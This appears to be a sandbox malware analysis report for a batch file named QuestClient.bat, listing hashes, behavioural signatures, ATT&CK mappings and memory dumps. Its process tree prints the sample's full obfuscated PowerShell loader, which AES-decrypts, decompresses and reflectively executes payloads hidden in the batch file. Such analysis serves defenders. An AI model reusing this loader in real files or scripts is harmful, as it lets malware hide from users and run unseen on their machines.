70c57f82283c07c45bca13b478c4f03bb81387e1d4b3945fc3e6c2483e878bc8

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
14/08/2024, 17:48

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General

Target

QuestClient.bat
Size

456KB
MD5

c2cd34623e825a5da3bd0c3c6a7cc7a0
SHA1

1ce81a2392bff443e04b97a9ff76e0316c1ca850
SHA256

70c57f82283c07c45bca13b478c4f03bb81387e1d4b3945fc3e6c2483e878bc8
SHA512

ba0895bee303d9ff1e268b7cc512bc903a12465b6737f21594107d040592f8210b83c26bae3c0f6d0b9a12fd98f8702305a4b3b409a6b63b15c9b2a8d0b34ecf
SSDEEP

12288:Ve9+GI3rpF00cj8PF4617iCV1sYJKyoS4osZcD48:Ve9vI3FqgmCRoLosWDD

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1904	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1904	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1904	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2328	3056	cmd.exe	31
PID 3056 wrote to memory of 2328	3056	cmd.exe	31
PID 3056 wrote to memory of 2328	3056	cmd.exe	31
PID 3056 wrote to memory of 1904	3056	cmd.exe	32
PID 3056 wrote to memory of 1904	3056	cmd.exe	32
PID 3056 wrote to memory of 1904	3056	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\QuestClient.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MqCXbwte9uhPYEg+s1sfkk76fVMEhUBYBUcawnYJBSM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JloX3aFz+GqYGWzFbTGvHw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $Sniec=New-Object System.IO.MemoryStream(,$param_var); $ThfXY=New-Object System.IO.MemoryStream; $dRvPt=New-Object System.IO.Compression.GZipStream($Sniec, [IO.Compression.CompressionMode]::Decompress); $dRvPt.CopyTo($ThfXY); $dRvPt.Dispose(); $Sniec.Dispose(); $ThfXY.Dispose(); $ThfXY.ToArray();}function execute_function($param_var,$param2_var){ $yULDO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $pPFbC=$yULDO.EntryPoint; $pPFbC.Invoke($null, $param2_var);}$FirRg = 'C:\Users\Admin\AppData\Local\Temp\QuestClient.bat';$host.UI.RawUI.WindowTitle = $FirRg;$xKJqy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FirRg).Split([Environment]::NewLine);foreach ($nlfgl in $xKJqy) { if ($nlfgl.StartsWith('wycXuQhiigqSLUkYJLaD')) { $nKIZB=$nlfgl.Substring(20); break; }}$payloads_var=[string[]]$nKIZB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1904-4-0x000007FEF5B7E000-0x000007FEF5B7F000-memory.dmp

Filesize
4KB

Download
memory/1904-7-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/1904-9-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/1904-8-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/1904-6-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/1904-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/1904-11-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/1904-10-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/1904-12-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download